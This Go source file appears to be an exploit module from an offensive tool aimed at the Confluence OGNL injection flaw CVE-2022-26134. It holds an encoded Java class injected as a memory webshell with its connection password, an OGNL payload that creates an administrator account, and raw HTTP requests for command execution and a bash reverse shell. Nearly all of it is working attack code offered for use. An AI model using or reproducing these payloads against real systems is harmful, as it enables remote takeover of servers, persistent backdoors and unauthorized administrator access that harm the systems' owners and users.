N1B6NC9ORDgrUDRNL2lqODlQMEUvUHo2Y1B6ay9ORDgvUDVFVWNoTXRmNGMvTm5FU0xYK0hQellGTzRRL2VtWVZpVDk4aVQ5NWlEOTRGWXMvUFlrL2R3VTZKanN0Zmp5Q1B6S0hQekgvUDMzL1AzMEZPU1k1QlRnbU9JRUpOendKTmlvMktqZWRQeEltT0NvMkRRVTFKaldKUDN5SlAzc21Pb2svZTRrL0xhWS9Nb1EvTkdZdGRvZy9kWUM3Tmo2WXdPMG1Pb2svZEFVNEpqZ3RjeFdMUHlXSFAzSW1PNGsvZkMxeE80SS9jR1k4TEQ4eWJJYy9ieVk3TzRJL01tWThKamhzaVQ5dWFJNC9Qejg4UDBBL1B6OEpQekkvUHorbFB6MC9vejgyUDZFL0xqK1NQeGMvano4RVA0MC9haitNUDFjL2l6OU5QNDAvUnorRFAwQS9naisxUC93L2tqLzFQNzgvUHo5RlB6TS9hajhpUDRrL1JEODFQd0EvQmoraVA0Zy9PRDk3UHdzL29EK2ZQemMvZUQ4T1A1NC9uejgyUHo4L2tUKytQcnMvUHo4L1A1RS9tRDlFUHo0L1BUK1RQNGMvUkQ4OVB6WS9taitHUDBRL1BEOHVQNkkvaFQ5RVB6cy9Geis1UDRJL2dUODZQd1EvVEQrRVA0Zy9PVDlBUHhBL2lUOUVQemcvcmo4L1B4Zy9QTUEvZUQ4MU9EK1dPRCt0T0QrdE9EK3RPRCt0T0QrQU9EOTlPRDk5UGo0L1B4WEhQem8valQ4L1B6cy9QajgwUHo0Ly96K0tQejAvUVQ4L1Bydy9PVDgwUHo4L3NSUnlFeTEvaHo4MmNSSXRmNGMvTmdVN0pqc3RmanlDUHpLSFB6SC9QMzMvUDMwRk9vUS9iV2FJUDJ3Rk9TWTZCVGdtT0lFSk56d0pOaW8yS2plZFB4VW1PQ28yRFFVMUpqV0pQM3lKUDNzVml6ODdpVDh0cFQ4MEpqa21OWWsvYTJpN05qNll3T29tTzRrL2ZDMXFPNEkvY0dZOExEOTliSWMvYnlZN080SS9NbVk4SmptSlAybHNpVDl1YUk0L1B6ODdQMEEvUHo4UlB6US9Qei95UHowLzhEODJQKzQvTGovb1B4cy80VDhTUDk0L2VEL2JQMlkvMmo5ZVA5NC9XRC9YUDdJLzBUKy9QejgvVHo4MFAzZy9KVC8rUDBRL05UOE9Qd2svb2orSVB6Zy9DVDhPUDZBL256ODNQd1kvRVQrZVA1OC9OajgvUDdFL3ZqNjdQejgvUHoreFA1Zy9SRDgrUHowL3N6K0hQMFEvUFQ4MlA3by9oajlFUHp3L0xqOUNQNFUvUkQ4N1B4cy9WVC85UDRnL09qOFNQMTQvL0QvN1B6ay8rajgvUHpNL1BqOFNQMTQvL0QvNVB6ay9yajgvUHhnL1BNQS9CajgxT0QrV09EK3RPRCt0T0QrdE9EK3RPRDk5T0QvNE9EOTlQajQvUHhqSFB6by9qVDgvUHpzL1BqODBQelUvOXovMlB6MC9RVDgvUHV3L056ODVQejgrTWo1eUxXaUhQMmN0Wm9rL1phUS9YeTFraHo5amNSS0VQd2htaUQ4SExXS0pQd1VVaVQ4RkxXR0pQd1dKUHdFOGdqOXdpVDlnRWp5Q1B6S0pQMjRGT3lZN2lUOThGSWsvWHp1Q1AzQm1QQ3cvWG15SlAyQW1PenVDUHpKbVBCVnNpVDl1L3o5ZS96OWVjcGcvbllRL0NHYUlQd2N0WFlrL0JSU0pQd1V0WVlrL0JZay9BWWMvWTNFU2lUOTBCVHNVTFFPSlB5Mm1QM2NtTzRrL2ZDMWNPNEkvY0dZOExEOWViSWsvWUNZN080SS9NbVk4Rld5SlAyNy9QeW9GT2lZNkxWc3RQSWsvV2dVNkpqb3REUzA4aVQ5YUJUb21Pb2svSW5LWVB3MG1PNGsvZkMxWk80SS9jR1k4TEQ4cWJJay9ZQ1k3TzRJL01tWThoRDhxWmhXSVB3SnNpVDl1L3o5ZS96OWVjaE9QUHo4L1BEOUFQejgvZlQ4dlB6OC96ajg5UDgwL01EL01QeW8veXo4QVA4by9Wai9KUDFNL3lEKzNQOGMvc1QvR1A2Zy94VCtDUDhRLzl6L0RQK3cvd2ovbVA4RS80ei9BUGpRK1BUKy9QejgvYlQ4M1B5by9hei8xUDRFL1BEOEFQeFUvOUQ5RVB6cy9najhqUC9NL1REODZQN2MvdkQvMVA0RS9QRCt4UDBJLzlEOUVQenMvUHo0eVA0OC9TVDgvUHo4K01qL3lQMHcvUGo4OVBqUS84VDlKUHowL3JqOC9QeXMvUE1NL1V6Zy9Yc0kvVURnL2dEZy9yY1kvRVQrTlB6OC9PejgrUHpRL05qL3dQKzgvUGo5QlB6OC8vejg1UHprL1B6OFJGWUVDRklFQkk0TTNCVHM4Q1RvcU9pT2RQeVVtT3lvNkZTbzZEQlFxT2lKUERMMnVhN3M2UHBqQTJTWTdqejgvUHp3L1FEOC9QeUUvT0Q4L1Bqay9QRDQ0UHprK056ODBQalkvS3o0MVB4bytOajhVUGpNL3Z6OC9Qd0UvT1Q4eFB5SS83aitmUHpvL1B6OFJQKzAvU1Q4L1B6OC9FVCtPUDBrL1BqODhQeFEvN0QrZlB6MC9PVDhYUCtzL256ODhQelEvSEQ5TFAway9Peit1UHo4L0p6ODl3RDh4UHprNFAxNDRQMTQrUGpnL1hqNC9QOFUvSXo4MlArby82VDg5UDBFL1B6K3FQencvT3o4L1B4aytjUlgrUDFpbVB6UVYvejlZY1pnL014V0pQM3dVaVQ5WGNSSTdpVDlXRWhVVGlUOVZqajgvUHp3L1FEOC9QeUUvT0Q4L1Bpdy9QVDRyUHpZK0tqOHVQaWcvSlQ0bFB5QStKRDhhUGlNL3Z6OC9QeFUvT3o4L1B4ay9tajlFUHo4L1B6OFpQK2cvVEQ4K1B6OC9HVC9uUDBRL1BUODlQeHMvNWovbFB6dy9yajgvUHpZL1BjTS9MamcvNURjL2pUOC9QenMvUGo4MFB6WS80ei9pUHowL1FUOC9QOGMvUFQ4NVB6OC9mVDV5RmY0L1dLWS9OQlgvUDFoeW1EOFdQbkVWaVQ5OEJUc21PL2svSXlZN0ZJay9WM0krQlR1WXdNNEZPaVk3aVQ5VUJUdVl3Tm9UTzRrL1ZoTVZpVDlUano4K1B5RS9GejhVUHpRL1BEOUFQejgvQlQ4eFB6OCtJRDg5UGg4L05qNGVQeTQrSEQ4c1Bocy9KajRaUHlFK0Z6OGFQaFkvRno0VFB4UStGVDhTUGhRL0N6NFRQd2crRHo4RFBnNC92ejgvUHdFL09UOFNQemcvNFQreVB6by9MRDhiUDBnLzREODhQeVkvSVQvZlA0RS9PejgvUDMwL21qOUVQejgvUHo5OVArZy9URDgrUHowL2Z6L21QK1UvUFQrdVB6OC9Kejg3d3o4dU9EL2t3ajg0T0QvZU9EK0Fiamcvck1ZL05EK05QejgvT3o4K1B6US90VC9kUDl3L1BUOUJQejgrUFQ4N1B6ay9QejlpaEQ5dFpvZy9iSEVUK1Q4TFBBazdLanNUZ1owL0ZSTXFPdzBGT2lZNitUOHZFaVk2aVQ5OGlUOXJhSmcvTXhJKy96OHlpVDlyYUxzN1BwakE2aFdKUDN3VUVqeUNQM0NKUDFML1AxSC9QMUdIUDI4Rk95WTdGUk9KUDI2UFB6OC9QRDlBUHo4L0ZUODFQejgrQ2o4M1Bnay9NejRJUHlrK0J6OGpQZ1kvSGo0RlB4RStBejhJUGdnL0FqNStQMm8rZlQrL1B6OC9kejg0UHlNL0pEL2JQMFEvT2o4d1B4RS83aitmUHpzL1B6OWlQNW8vUkQ4L1B6OC9Zai9hUDB3L1BqOC9QMkkvMlQrSVB6MC9OejlxUDlnLyt6ODhQMm8vTno5SVArQS9Peit1UHo4L0tqODd3ajh3T0QvNFBzTS9JVGcvcmNVL044VS9PaitOUHo4L096OCtQelEvdFQvWFA5WS9QajlCUHo4L2l6ODhQem8vUHo4Y1BuRVYrVDhoRlJRVGlUOVFjVDUwRWp1SlAwK1l3TkVGT3hXSlAxUjBtTURiRW84L1BqODVQeXMvS0Q4MFB6dy9RRDgvUHhVL05UOC9QbmcvUFQ1MlB6aytkRDh5UG5NL01ENXlQeXMrYno4b1BuRS9KajV3UHlFK2J6OGVQbXcvdno4L1B3cy9PajhtUHpvLzRUK3lQenMvUHo4Y1A5OC9nVDgvUHo4L0hEL2FQMHcvUGo4L1B4dy8yVC9WUHowL1BUOGVQMGcvNEQ4OFA2NC9Qejh5UHp6RFB6MDRQOTVyT0Qrc05qOCtQOVEvUHo4OVA5TT0IAN8BAAlzdWJzdHJpbmcBABUoSSlMamF2YS9sYW5nL1N0cmluZzsMAOEA4goAHgDjAQAGRGVjb2RlCADlDAAnACgKAAIA5wwAjwCQCgACAOkBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIHAOsBAAtkZWZpbmVDbGFzcwgA7QEAEWdldERlY2xhcmVkTWV0aG9kDADvABIKABAA8AEAHWphdmF4L21hbmFnZW1lbnQvbG9hZGluZy9NTGV0BwDyAQAMamF2YS9uZXQvVVJMBwD0AQAOZ2V0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7DAD2APcKABAA+AEAKShbTGphdmEvbmV0L1VSTDtM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");
var loader = java.lang.Thread.currentThread().getContextClassLoader();
var reflectUtilsClass = java.lang.Class.forName("org.springframework.cglib.core.ReflectUtils",true,loader);
var urls = java.lang.reflect.Array.newInstance(java.lang.Class.forName("java.net.URL"),0);

var params = java.lang.reflect.Array.newInstance(java.lang.Class.forName("java.lang.Class"),3);
params[0] = java.lang.Class.forName("java.lang.String");
params[1] = java.lang.Class.forName("[B");
params[2] = java.lang.Class.forName("java.lang.ClassLoader");


var defineClassMethod = reflectUtilsClass.getMethod("defineClass",params);

params =  java.lang.reflect.Array.newInstance(java.lang.Class.forName("java.lang.Object"),3);

params[0] = "Payload147998343341100";
params[1] = classBytes;
params[2] = loader;
defineClassMethod.invoke(null,params).newInstance();
"ok";`
	headers.Set("Accept-Encoded", "gzip, deflate")
	//发送请求
	httpresp := self.HttpPostWithoutRedirect(self.AppendUri(self.Params.Target, payload), "search="+url.QueryEscape(body), headers)
	if httpresp.Err != nil {
		expUploadResult.Err = httpresp.Err
		return
	}
	if httpresp.Resp.Header.Get("Transfer-encoded") == "chunked" {
		expUploadResult.Status = true
		self.EchoInfoMsg("注入listener内存马成功")
		self.EchoInfoMsg("连接时请使用响应为200的页面连接，如/login.action?logout=true")
		self.EchoInfoMsg("哥斯拉4.0.1 JAVA_AES_BASE64 密码2333 密钥2333")
		self.EchoInfoMsg("插入头部Accept-Encoded: gzip, deflate, god")
		self.EchoInfoMsg("注入成功后无法二次注入")
	}
	return
}

func (self *Exp_CVE_2022_26134) Cmd3(cmd string) (expResult exp_model.ExpResult) {
	headers := self.GetInitExpHeaders() //获取自定义header
	payload := `/$%7B@com.atlassian.confluence.util.GeneralUtil@getUserAccessor().addUser('example','example','example@example.org','Example',@com.atlassian.confluence.util.GeneralUtil@splitCommaDelimitedString(%22confluence-administrators,confluence-users%22)).%28@com.opensymphony.webwork.ServletActionContext@getResponse%28%29.setHeader%28%22X-Status%22%2C%22ok%22%29%29%7D/`

	randHeader := goutils.RandomHexString(5) //生成随机响应头

	userInfo := fmt.Sprintf("'%s','%s','%s','%s'",
		self.GetItemSafe(self.Params.Options.CmdSubOptions, "user"),
		self.GetItemSafe(self.Params.Options.CmdSubOptions, "pwd"),
		self.GetItemSafe(self.Params.Options.CmdSubOptions, "mail"),
		self.GetItemSafe(self.Params.Options.CmdSubOptions, "display"))
	payload = strings.Replace(payload, "'example','example','example@example.org','Example'", userInfo, 1)
	payload = strings.Replace(payload, "X-Status", randHeader, 1)

	self.EchoDebugMsg(userInfo)
	self.EchoDebugMsg(payload)
	//发送请求
	httpresp := self.HttpGetWithoutRedirect(self.AppendUri(self.Params.Target, payload), headers)
	if httpresp.Err != nil {
		expResult.Err = httpresp.Err
		return
	}
	if httpresp.Resp.Header.Get(randHeader) != "" {
		self.EchoInfoMsg("执行成功，请尝试登录添加的账户！")
	} else {
		self.EchoErrMsg("执行失败")
	}
	return
}

func init() {
	expmsg := exp_model.ExpMsg{
		Author: "小晨曦 Modify By lz520520",
		Time:   `2022-06-06`,
		Range: `1.3.0 <= Confluence Server and Data Center < 7.4.17
7.13.0 <= Confluence Server and Data Center < 7.13.7
7.14.0 <= Confluence Server and Data Center < 7.14.3
7.15.0 <= Confluence Server and Data Center < 7.15.2
7.16.0 <= Confluence Server and Data Center < 7.16.4
7.17.0 <= Confluence Server and Data Center < 7.17.4
7.18.0 <= Confluence Server and Data Center < 7.18.1`,
		ID:       `CVE-2022-26134`,
		Describe: `Atlassian Confluence OGNL表达式注入漏洞`,
		Details: `
payload1: 检测漏洞、命令执行及反弹shell（<7.17.4）
payload2: 检测漏洞、命令执行、反弹shell、内存马注入（<7.18.1）
          内存马注入无需填写任何信息，直接点击上去即可，成功后返回连接信息
payload3: 添加用户，用户名（必须小写），密码，邮箱（可置空），全名（可置空） 无回显（<7.18.1）
`,
		Payload: `
命令执行：
GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

反弹shell：
GET /%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27bash%20-i%20%3E%26%20/dev/tcp/127.0.0.1/1234%200%3E%261%27%29.start%28%29%22%29%7D/ HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
`,
		VulType:   common.VulCmdExec,
		Reference: `https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html`,
	}

	addUserSubOption := exp_model.ExpSubOption{
		CmdSubOptions: []exp_model.ExpSubOptionItem{
			{
				StaticText: "用户名: ",
				Key:        "user",
				Value:      "confluence-admins",
			},
			{
				StaticText: "密码: ",
				Key:        "pwd",
				Value:      "Test@1234",
			},
			{
				StaticText: "邮箱: ",
				Key:        "mail",
				Value:      "confluence-admins@confluence.com",
			},
			{
				StaticText: "显示: ",
				Key:        "display",
				Value:      "Confluence-admins",
			},
		},
	}
	registerMsg := exp_register.ExpRegisterMsg{
		Msg: expmsg,
		SubOptions: map[string]exp_model.ExpSubOption{
			//"1": addUserSubOption,
			"3": addUserSubOption,
		},
		AliasMap: map[string]string{
			"1": "7.17.4",
			"2": "7.18.1",
			"3": "AddUser",
		},
	}
	exp_register.ExpStructRegister(&Exp_CVE_2022_26134{}, registerMsg)

}
